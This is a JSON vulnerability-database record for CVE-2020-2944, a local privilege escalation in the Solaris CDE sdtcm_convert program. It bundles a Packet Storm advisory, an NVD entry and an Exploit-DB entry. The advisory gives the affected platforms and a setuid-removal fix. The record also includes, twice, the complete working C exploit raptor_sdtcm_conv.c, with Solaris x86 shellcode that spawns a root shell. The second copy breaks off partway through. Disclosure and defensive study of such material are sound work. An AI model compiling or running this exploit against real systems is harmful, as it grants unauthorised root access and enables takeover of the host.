"", "cvss3": {}, "published": "2020-04-17T00:00:00", "type": "packetstorm", "title": "Common Desktop Environment 1.6 Local Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-2944"], "modified": "2020-04-17T00:00:00", "id": "PACKETSTORM:157280", "href": "https://packetstormsecurity.com/files/157280/Common-Desktop-Environment-1.6-Local-Privilege-Escalation.html", "sourceData": "`@Mediaservice.net Security Advisory #2020-05 (last updated on 2020-04-15) \n \nTitle: Local privilege escalation via CDE sdtcm_convert \nApplication: Common Desktop Environment 1.6 and earlier \nPlatforms: Oracle Solaris 10 1/13 (Update 11) and earlier \nOther platforms are potentially affected (see below) \nDescription: A local attacker can gain root privileges by exploiting a \nbuffer overflow in CDE sdtcm_convert \nAuthor: Marco Ivaldi <marco.ivaldi@mediaservice.net> \nVendor Status: Oracle <secalert_us@oracle.com> notified on 2019-12-08 \nCERT/CC notified on 2019-12-09 (tracking VU#308289) \nCVE Name: CVE-2020-2944 \nCVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8) \nReferences: https://github.com/0xdea/advisories/blob/master/2020-05-cde-sdtcm_convert.txt \nhttps://www.oracle.com/security-alerts/cpuapr2020.html \nhttps://www.oracle.com/technetwork/server-storage/solaris10/ \nhttps://www.mediaservice.net/ \nhttps://0xdeadbeef.info/ \n \n1. Abstract. \n \nA buffer overflow in the _SanityCheck() function in the Common Desktop \nEnvironment version distributed with Oracle Solaris 10 1/13 (Update 11) and \nearlier allows local users to gain root privileges via a long calendar name or \ncalendar owner passed to sdtcm_convert in a malicious calendar file. \n \nThe open source version of CDE (based on the CDE 2.x codebase) is not affected, \nbecause it does not ship the vulnerable program. \n \n2. Example Attack Session. \n \nbash-3.2$ cat /etc/release \nOracle Solaris 10 1/13 s10x_u11wos_24a X86 \nCopyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved. \nAssembled 17 January 2013 \nbash-3.2$ uname -a \nSunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc \nbash-3.2$ id \nuid=54322(raptor) gid=1(other) \nbash-3.2$ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall \nbash-3.2$ ./raptor_sdtcm_conv \nraptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel \nCopyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info> \n \nUsing SI_PLATFORM : i86pc (5.10) \nUsing SI_HOSTNAME : nostalgia \nUsing stack base : 0x8047fff \nUsing rwx_mem address : 0xfeffa004 \nUsing payload address : 0x8047dff \nUsing strcpy() address : 0xfefe26a0 \n \nPreparing the evil calendar file... Done. \nExploiting... Please answer \"n\" when prompted. \nLoading the calendar ... \n[...] \nDo you want to correct it? (Y/N) [Y] n \n# id \nuid=0(root) gid=1(other) egid=12(daemon) \n \n3. Affected Platforms. \n \nAll platforms shipping the Common Desktop Environment based on the CDE 1.x \ncodebase are potentially affected. This includes: \n \n* Oracle Solaris 10 1/13 (Update 11) and earlier [default installation] \n \nThe open source version of CDE (based on the CDE 2.x codebase) is not affected, \nbecause it does not ship the vulnerable program. \n \n4. Fix. \n \nOracle has assigned the tracking# S1239395 and has released a fix for all \naffected and supported versions of Solaris in the Critical Patch Update (CPU) \nof April 2020. \n \nAs a workaround, it is also possible to remove the setuid bit from the \nvulnerable executable as follows (note that this might prevent it from working \nproperly): \n \nbash-3.2# chmod -s /usr/dt/bin/sdtcm_convert \n \nPlease note that during the audit many other potentially exploitable bugs have \nsurfaced in sdtcm_convert and in the Common Desktop Environment in general. \nTherefore, removing the setuid bit from all CDE binaries is recommended, \nregardless of patches released by vendors. \n \n5. Proof of Concept. \n \nAn exploit for Oracle Solaris 10 1/13 (Update 11) Intel has been developed as a \nproof of concept. It can be downloaded from: \n \nhttps://github.com/0xdea/exploits/blob/master/solaris/raptor_sdtcm_conv.c \n \nraptor_sdtcm_conv.c proof of concept: \n \n/* \n* raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel \n* Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info> \n* \n* A buffer overflow in the _SanityCheck() function in the Common Desktop \n* Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and \n* earlier allows local users to gain root privileges via a long calendar name \n* or calendar owner passed to sdtcm_convert in a malicious calendar file \n* (CVE-2020-2944). \n* \n* The open source version of CDE (based on the CDE 2.x codebase) is not \n* affected, because it does not ship the vulnerable binary. \n* \n* \"CDE, the gift that keeps on giving\" -- @0xdea \n* \"Feels more like a curse you can't break from this side.\" -- @alanc \n* \n* This exploit uses the ret-into-ld.so technique to bypass the non-exec stack \n* protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory \n* space, try returning to sprintf() instead of strcpy(). \n* \n* I haven't written a Solaris/SPARC version because I don't have a SPARC box \n* on which Solaris 10 can run. If anybody is kind enough to give me access to \n* such a box, I'd be happy to port my exploit to Solaris/SPARC as well. \n* \n* Usage: \n* $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall \n* $ ./raptor_sdtcm_conv \n* [...] \n* Do you want to correct it? (Y/N) [Y] n \n* # id \n* uid=0(root) gid=1(other) egid=12(daemon) \n* # \n* \n* This should work with any common configuration on the first try. To \n* re-enable rpc.cmsd, clear its service maintenance status by running the \n* following commands as root: \n* # /usr/sbin/svcadm clear cde-calendar-manager \n* # /usr/bin/svcs -a | grep calendar \n* online 13:16:54 svc:/network/rpc/cde-calendar-manager:default \n* \n* Tested on: \n* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) \n* [previous Solaris versions are also likely vulnerable] \n*/ \n \n#include <fcntl.h> \n#include <link.h> \n#include <procfs.h> \n#include <stdio.h> \n#include <stdlib.h> \n#include <strings.h> \n#include <unistd.h> \n#include <sys/stat.h> \n#include <sys/systeminfo.h> \n#include <sys/types.h> \n \n#define INFO1 \"raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\" \n#define INFO2 \"Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>\" \n \n#define VULN \"/usr/dt/bin/sdtcm_convert\" // the vulnerable program \n#define ADMIN \"/usr/dt/bin/sdtcm_admin\" // calendar admin utility \n#define BUFSIZE 2304 // size of the name/owner \n#define PAYSIZE 1024 // size of the payload \n#define OFFSET env_len / 2 // offset to the shellcode \n \nchar sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ \n/* double setuid() */ \n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\" \n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\" \n/* execve() */ \n\"\\x31\\xc0\\x50\\x68/ksh\\x68/bin\" \n\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\" \n\"\\x52\\x53\\xb0\\x3b\\x50\\xcd\\x91\"; \n \n/* globals */ \nchar *env[256]; \nint env_pos = 0, env_len = 0; \n \n/* prototypes */ \nint add_env(char *string); \nvoid check_zero(int addr, char *pattern); \nint search_ldso(char *sym); \nint search_rwx_mem(void); \nvoid set_val(char *buf, int pos, int val); \n \n/* \n* main() \n*/ \nint main(int argc, char **argv) \n{ \nchar buf[BUFSIZE], payload[PAYSIZE]; \nchar platform[256], release[256], hostname[256]; \nint i, payaddr; \n \nchar *arg[3] = {\"foo\", \"hax0r\", NULL}; \nint sb = ((int)argv[0] | 0xfff); /* stack base */ \nint ret = search_ldso(\"strcpy\"); /* or sprintf */ \nint rwx_mem = search_rwx_mem(); /* rwx memory */ \n \nchar cmd[1024]; \nFILE *fp; \n \n/* print exploit information */ \nfprintf(stderr, \"%s\\n%s\\n\\n\", INFO1, INFO2); \n \n/* read command line */ \nif (argc != 1) { \nfprintf(stderr, \"Usage:\\n%s\\n[...]\\n\", argv[0]); \nfprintf(stderr, \"Do you want to correct it? (Y/N) [Y] n\\n\\n\"); \nexit(1); \n} \n \n/* get system information */ \nsysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); \nsysinfo(SI_RELEASE, release, sizeof(release) - 1); \nsysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1); \n \n/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ \nmemset(payload, '\\x90', PAYSIZE); \npayload[PAYSIZE - 1] = 0x0; \nmemcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); \n \n/* fill the envp, keeping padding */ \nadd_env(payload); \nadd_env(\"HOME=/tmp\"); \nadd_env(NULL); \n \n/* calculate the payload address */ \npayaddr = sb - OFFSET; \n \n/* prepare the evil palette name */ \nmemset(buf, 'A', sizeof(buf)); \nbuf[sizeof(buf) - 1] = 0x0; \n \n/* fill with function address in ld.so.1, saved eip, and arguments */ \nfor (i = 0; i < BUFSIZE - 16; i += 4) { \nset_val(buf, i, ret); /* strcpy */ \nset_val(buf, i += 4, rwx_mem); /* saved eip */ \nset_val(buf, i += 4, rwx_mem); /* 1st argument */ \nset_val(buf, i += 4, payaddr); /* 2nd argument */ \n} \n \n/* print some output */ \nfprintf(stderr, \"Using SI_PLATFORM\\t: %s (%s)\\n\", platform, release); \nfprintf(stderr, \"Using SI_HOSTNAME\\t: %s\\n\", hostname); \nfprintf(stderr, \"Using stack base\\t: 0x%p\\n\", (void *)sb); \nfprintf(stderr, \"Using rwx_mem address\\t: 0x%p\\n\", (void *)rwx_mem); \nfprintf(stderr, \"Using payload address\\t: 0x%p\\n\", (void *)payaddr); \nfprintf(stderr, \"Using strcpy() address\\t: 0x%p\\n\\n\", (void *)ret); \n \n/* create the evil calendar file */ \nfprintf(stderr, \"Preparing the evil calendar file... \"); \nsnprintf(cmd, sizeof(cmd), \"%s -a -c hax0r@%s\", ADMIN, hostname); \nif (system(cmd) == -1) { \nperror(\"Error creating calendar file\"); \nexit(1); \n} \nif (chmod(\"/usr/spool/calendar/callog.hax0r\", 0660) == -1) { \nperror(\"Error creating calendar file\"); \nexit(1); \n} \n \n/* prepare the evil calendar file (badchars currently not handled) */ \nfp = fopen(\"/usr/spool/calendar/callog.hax0r\", \"w\"); \nif (!fp) { \nperror(\"Error preparing calendar file\"); \nexit(1); \n} \nfprintf(fp, \"Version: 4\\n(calendarattributes \" \n\"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\\\",\" \n\"\\\"10:access_list\\\",\\\"world:2\\\")\\n\"); \n/* buffer overflow in calendar name */ \nfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\" \n\"\\\"5:string\\\",\\\"%s\\\")\\n\", buf); \nfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\" \n\"\\\"6:user\\\",\\\"fnord\\\")\\n)\"); \n/* buffer overflow in calendar owner */ \n/* \nfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\" \n\"\\\"5:string\\\",\\\"hax0r\\\")\\n\"); \nfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\" \n\"\\\"6:user\\\",\\\"%s\\\")\\n)\", buf); \n*/ \nfclose(fp); \n \nfprintf(stderr, \"Done.\\n\"); \n \n/* run the vulnerable program */ \nfprintf(stderr, \"Exploiting... Please answer \\\"n\\\" when prompted.\\n\"); \nexecve(VULN, arg, env); \nperror(\"execve\"); \nexit(0); \n} \n \n/* \n* add_env(): add a variable to envp and pad if needed \n*/ \nint add_env(char *string) \n{ \nint i; \n \n/* null termination */ \nif (!string) { \nenv[env_pos] = NULL; \nreturn env_len; \n} \n \n/* add the variable to envp */ \nenv[env_pos] = string; \nenv_len += strlen(string) + 1; \nenv_pos++; \n \n/* pad the envp using zeroes */ \nif ((strlen(string) + 1) % 4) \nfor (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { \nenv[env_pos] = string + strlen(string); \nenv_len++; \n} \n \nreturn env_len; \n} \n \n/* \n* check_zero(): check an address for the presence of a 0x00 \n*/ \nvoid check_zero(int addr, char *pattern) \n{ \nif (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || \n!(addr & 0xff000000)) { \nfprintf(stderr, \"Error: %s contains a 0x00!\\n\", pattern); \nexit(1); \n} \n} \n \n/* \n* search_ldso(): search for a symbol inside ld.so.1 \n*/ \nint search_ldso(char *sym) \n{ \nint addr; \nvoid *handle; \nLink_map *lm; \n \n/* open the executable object file */ \nif ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { \nperror(\"dlopen\"); \nexit(1); \n} \n \n/* get dynamic load information */ \nif ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { \nperror(\"dlinfo\"); \nexit(1); \n} \n \n/* search for the address of the symbol */ \nif ((addr = (int)dlsym(handle, sym)) == NULL) { \nfprintf(stderr, \"Sorry, function %s() not found\\n\", sym); \nexit(1); \n} \n \n/* close the executable object file */ \ndlclose(handle); \n \ncheck_zero(addr - 4, sym); \nreturn addr; \n} \n \n/* \n* search_rwx_mem(): search for an RWX memory segment valid for all \n* programs (typically, /usr/lib/ld.so.1) using the proc filesystem \n*/ \nint search_rwx_mem(void) \n{ \nint fd; \nchar tmp[16]; \nprmap_t map; \nint addr = 0, addr_old; \n \n/* open the proc filesystem */ \nsprintf(tmp,\"/proc/%d/map\", (int)getpid()); \nif ((fd = open(tmp, O_RDONLY)) < 0) { \nfprintf(stderr, \"Can't open %s\\n\", tmp); \nexit(1); \n} \n \n/* search for the last RWX memory segment before stack (last - 1) */ \nwhile (read(fd, &map, sizeof(map))) \nif (map.pr_vaddr) \nif (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { \naddr_old = addr; \naddr = map.pr_vaddr; \n} \nclose(fd); \n \n/* add 4 to the exact address NULL bytes */ \nif (!(addr_old & 0xff)) \naddr_old |= 0x04; \nif (!(addr_old & 0xff00)) \naddr_old |= 0x0400; \n \nreturn addr_old; \n} \n \n/* \n* set_val(): copy a dword inside a buffer (little endian) \n*/ \nvoid set_val(char *buf, int pos, int val) \n{ \nbuf[pos] = (val & 0x000000ff); \nbuf[pos + 1] = (val & 0x0000ff00) >> 8; \nbuf[pos + 2] = (val & 0x00ff0000) >> 16; \nbuf[pos + 3] = (val & 0xff000000) >> 24; \n} \n \n \nCopyright (c) 2020 Marco Ivaldi and @Mediaservice.net. All rights reserved. \n \n \n \n \n`\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/157280/2020-05-cde-sdtcm_convert.txt"}], "cve": [{"lastseen": "2023-02-09T15:19:26", "description": "Vulnerability in the Oracle Solaris product of Oracle Systems (component: Common Desktop Environment). Supported versions that are affected are 10 and 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.0 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).", "cvss3": {"exploitabilityScore": 2.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-15T14:15:00", "type": "cve", "title": "CVE-2020-2944", "cwe": ["CWE-120"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2944"], "modified": "2022-06-30T19:53:00", "cpe": ["cpe:/o:oracle:solaris:11", "cpe:/o:oracle:solaris:10"], "id": "CVE-2020-2944", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-2944", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:oracle:solaris:11:*:*:*:*:*:*:*", "cpe:2.3:o:oracle:solaris:10:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2022-08-16T06:07:16", "description": "", "cvss3": {"exploitabilityScore": 2.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-21T00:00:00", "type": "exploitdb", "title": "Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2020-2944", "CVE-2020-2944"], "modified": "2020-04-21T00:00:00", "id": "EDB-ID:48359", "href": "https://www.exploit-db.com/exploits/48359", "sourceData": "# Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation\r\n# Date: 2020-04-21\r\n# Author: Marco Ivaldi\r\n# Vendor: www.oracle.com\r\n# CVE: CVE-2020-2944\r\n\r\n/*\r\n * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\r\n * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>\r\n *\r\n * A buffer overflow in the _SanityCheck() function in the Common Desktop\r\n * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and\r\n * earlier allows local users to gain root privileges via a long calendar name\r\n * or calendar owner passed to sdtcm_convert in a malicious calendar file\r\n * (CVE-2020-2944).\r\n *\r\n * The open source version of CDE (based on the CDE 2.x codebase) is not\r\n * affected, because it does not ship the vulnerable binary.\r\n *\r\n * \"CDE, the gift that keeps on giving\" -- @0xdea\r\n * \"Feels more like a curse you can't break from this side.\" -- @alanc\r\n *\r\n * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack\r\n * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory\r\n * space, try returning to sprintf() instead of strcpy().\r\n *\r\n * I haven't written a Solaris/SPARC version because I don't have a SPARC box\r\n * on which Solaris 10 can run. If anybody is kind enough to give me access to\r\n * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.\r\n *\r\n * Usage:\r\n * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall\r\n * $ ./raptor_sdtcm_conv\r\n * [...]\r\n * Do you want to correct it? (Y/N) [Y] n\r\n * # id\r\n * uid=0(root) gid=1(other) egid=12(daemon)\r\n * #\r\n *\r\n * This should work with any common configuration on the first try. To\r\n * re-enable rpc.cmsd, clear its service maintenance status by running the\r\n * following commands as root:\r\n * # /usr/sbin/svcadm clear cde-calendar-manager\r\n * # /usr/bin/svcs -a | grep calendar\r\n * online 13:16:54 svc:/network/rpc/cde-calendar-manager:default\r\n *\r\n * Tested on:\r\n * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)\r\n * [previous Solaris versions are also likely vulnerable]\r\n */\r\n\r\n#include <fcntl.h>\r\n#include <link.h>\r\n#include <procfs.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <strings.h>\r\n#include <unistd.h>\r\n#include <sys/stat.h>\r\n#include <sys/systeminfo.h>\r\n#include <sys/types.h>\r\n\r\n#define INFO1\t\"raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel\"\r\n#define INFO2\t\"Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>\"\r\n\r\n#define\tVULN\t\"/usr/dt/bin/sdtcm_convert\"\t// the vulnerable program\r\n#define ADMIN\t\"/usr/dt/bin/sdtcm_admin\"\t// calendar admin utility\r\n#define\tBUFSIZE\t2304\t\t\t\t// size of the name/owner\r\n#define PAYSIZE\t1024\t\t\t\t// size of the payload\r\n#define OFFSET\tenv_len / 2\t\t\t// offset to the shellcode\r\n\r\nchar sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */\r\n/* double setuid() */\r\n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\"\r\n\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\"\r\n/* execve() */\r\n\"\\x31\\xc0\\x50\\x68/ksh\\x68/bin\"\r\n\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\"\r\n\"\\x52\\x53\\xb0\\x3b\\x50\\xcd\\x91\";\r\n\r\n/* globals */\r\nchar\t*env[256];\r\nint\tenv_pos = 0, env_len = 0;\r\n\r\n/* prototypes */\r\nint\tadd_env(char *string);\r\nvoid\tcheck_zero(int addr, char *pattern);\r\nint\tsearch_ldso(char *sym);\r\nint\tsearch_rwx_mem(void);\r\nvoid\tset_val(char *buf, int pos, int val);\r\n\r\n/*\r\n * main()\r\n */\r\nint main(int argc, char **argv)\r\n{\r\n\tchar\tbuf[BUFSIZE], payload[PAYSIZE];\r\n\tchar\tplatform[256], release[256], hostname[256];\r\n\tint\ti, payaddr;\r\n\r\n\tchar\t*arg[3] = {\"foo\", \"hax0r\", NULL};\r\n\tint\tsb = ((int)argv[0] | 0xfff);\t/* stack base */\r\n\tint\tret = search_ldso(\"strcpy\");\t/* or sprintf */\r\n\tint\trwx_mem = search_rwx_mem();\t/* rwx memory */\r\n\r\n\tchar\tcmd[1024];\r\n\tFILE\t*fp;\r\n\r\n\t/* print exploit information */\r\n\tfprintf(stderr, \"%s\\n%s\\n\\n\", INFO1, INFO2);\r\n\r\n\t/* read command line */\r\n\tif (argc != 1) {\r\n\t\tfprintf(stderr, \"Usage:\\n%s\\n[...]\\n\", argv[0]);\r\n\t\tfprintf(stderr, \"Do you want to correct it? (Y/N) [Y] n\\n\\n\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* get system information */\r\n\tsysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);\r\n\tsysinfo(SI_RELEASE, release, sizeof(release) - 1);\r\n\tsysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);\r\n\r\n\t/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */\r\n\tmemset(payload, '\\x90', PAYSIZE);\r\n\tpayload[PAYSIZE - 1] = 0x0;\r\n\tmemcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));\r\n\r\n\t/* fill the envp, keeping padding */\r\n\tadd_env(payload);\r\n\tadd_env(\"HOME=/tmp\");\r\n\tadd_env(NULL);\r\n\r\n\t/* calculate the payload address */\r\n\tpayaddr = sb - OFFSET;\r\n\r\n\t/* prepare the evil palette name */\r\n\tmemset(buf, 'A', sizeof(buf));\r\n\tbuf[sizeof(buf) - 1] = 0x0;\r\n\r\n\t/* fill with function address in ld.so.1, saved eip, and arguments */\r\n\tfor (i = 0; i < BUFSIZE - 16; i += 4) {\r\n\t\tset_val(buf, i, ret);\t\t/* strcpy */\r\n\t\tset_val(buf, i += 4, rwx_mem);\t/* saved eip */\r\n\t\tset_val(buf, i += 4, rwx_mem);\t/* 1st argument */\r\n\t\tset_val(buf, i += 4, payaddr);\t/* 2nd argument */\r\n\t}\r\n\r\n\t/* print some output */\r\n\tfprintf(stderr, \"Using SI_PLATFORM\\t: %s (%s)\\n\", platform, release);\r\n\tfprintf(stderr, \"Using SI_HOSTNAME\\t: %s\\n\", hostname);\r\n\tfprintf(stderr, \"Using stack base\\t: 0x%p\\n\", (void *)sb);\r\n\tfprintf(stderr, \"Using rwx_mem address\\t: 0x%p\\n\", (void *)rwx_mem);\r\n\tfprintf(stderr, \"Using payload address\\t: 0x%p\\n\", (void *)payaddr);\r\n\tfprintf(stderr, \"Using strcpy() address\\t: 0x%p\\n\\n\", (void *)ret);\r\n\r\n\t/* create the evil calendar file */\r\n\tfprintf(stderr, \"Preparing the evil calendar file... \");\r\n\tsnprintf(cmd, sizeof(cmd), \"%s -a -c hax0r@%s\", ADMIN, hostname);\r\n\tif (system(cmd) == -1) {\r\n\t\tperror(\"Error creating calendar file\");\r\n\t\texit(1);\r\n\t}\r\n\tif (chmod(\"/usr/spool/calendar/callog.hax0r\", 0660) == -1) {\r\n\t\tperror(\"Error creating calendar file\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* prepare the evil calendar file (badchars currently not handled) */\r\n\tfp = fopen(\"/usr/spool/calendar/callog.hax0r\", \"w\");\r\n\tif (!fp) {\r\n\t\tperror(\"Error preparing calendar file\");\r\n\t\texit(1);\r\n\t}\r\n\tfprintf(fp, \"Version: 4\\n(calendarattributes \"\r\n\t\t \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\\\",\"\r\n\t\t \"\\\"10:access_list\\\",\\\"world:2\\\")\\n\");\r\n\t/* buffer overflow in calendar name */\r\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\"\r\n\t\t \"\\\"5:string\\\",\\\"%s\\\")\\n\", buf);\r\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\"\r\n\t\t \"\\\"6:user\\\",\\\"fnord\\\")\\n)\");\r\n\t/* buffer overflow in calendar owner */\r\n\t/*\r\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\\\",\"\r\n\t\t \"\\\"5:string\\\",\\\"hax0r\\\")\\n\");\r\n\tfprintf(fp, \"(\\\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\\\",\"\r\n\t\t \"\\\"6:user\\\",\\\"%s\\\")\\n)\", buf);\r\n\t*/\r\n\tfclose(fp);\r\n\r\n\tfprintf(stderr, \"Done.\\n\");\r\n\r\n\t/* run the vulnerable program */\r\n\tfprintf(stderr, \"Exploiting... Please answer \\\"n\\\" when prompted.\\n\");\r\n\texecve(VULN, arg, env);\r\n\tperror(\"execve\");\r\n\texit(0);\r\n}\r\n\r\n/*\r\n * add_env(): add a variable to envp and pad if needed\r\n */\r\nint add_env(char *string)\r\n{\r\n\tint\ti;\r\n\r\n\t/* null termination */\r\n\tif (!string) {\r\n\t\tenv[env_pos] = NULL;\r\n\t\treturn env_len;\r\n\t}\r\n\r\n\t/* add the variable to envp */\r\n\tenv[env_pos] = string;\r\n\tenv_len += strlen(string) + 1;\r\n\tenv_pos++;\r\n\r\n\t/* pad the envp using zeroes */\r\n\tif ((strlen(string) + 1) % 4)\r\n\t\tfor (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {\r\n\t\t\tenv[env_pos] = string + strlen(string);\r\n\t\t\tenv_len++;\r\n\t\t}\r\n\r\n\treturn env_len;\r\n}\r\n\r\n/*\r\n * check_zero(): check an address for the presence of a 0x00\r\n */\r\nvoid check_zero(int addr, char *pattern)\r\n{\r\n\tif (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||\r\n\t !(addr & 0xff000000)) {\r\n\t\tfprintf(stderr, \"Error: %s contains a 0x00!\\n\", pattern);\r\n\t\texit(1);\r\n\t}\r\n}\r\n\r\n/*\r\n * search_ldso(): search for a symbol inside ld.so.1\r\n */\r\nint search_ldso(char *sym)\r\n{\r\n\tint\t\taddr;\r\n\tvoid\t\t*handle;\r\n\tLink_map\t*lm;\r\n\r\n\t/* open the executable object file */\r\n\tif ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {\r\n\t\tperror(\"dlopen\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* get dynamic load information */\r\n\tif ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {\r\n\t\tperror(\"dlinfo\");\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* search for the address of the symbol */\r\n\tif ((addr = (int)dlsym(handle, sym)) == NULL) {\r\n\t\tfprintf(stderr, \"Sorry, function %s() not found\\n\", sym);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* close the executable object file */\r\n\tdlclose(handle);\r\n\r\n\tcheck_zero(addr - 4, sym);\r\n\treturn addr;\r\n}\r\n\r\n/*\r\n * search_rwx_mem(): search for an RWX memory segment valid for all\r\n * programs (typically, /usr/lib/ld.so.1) using the proc filesystem\r\n */\r\nint 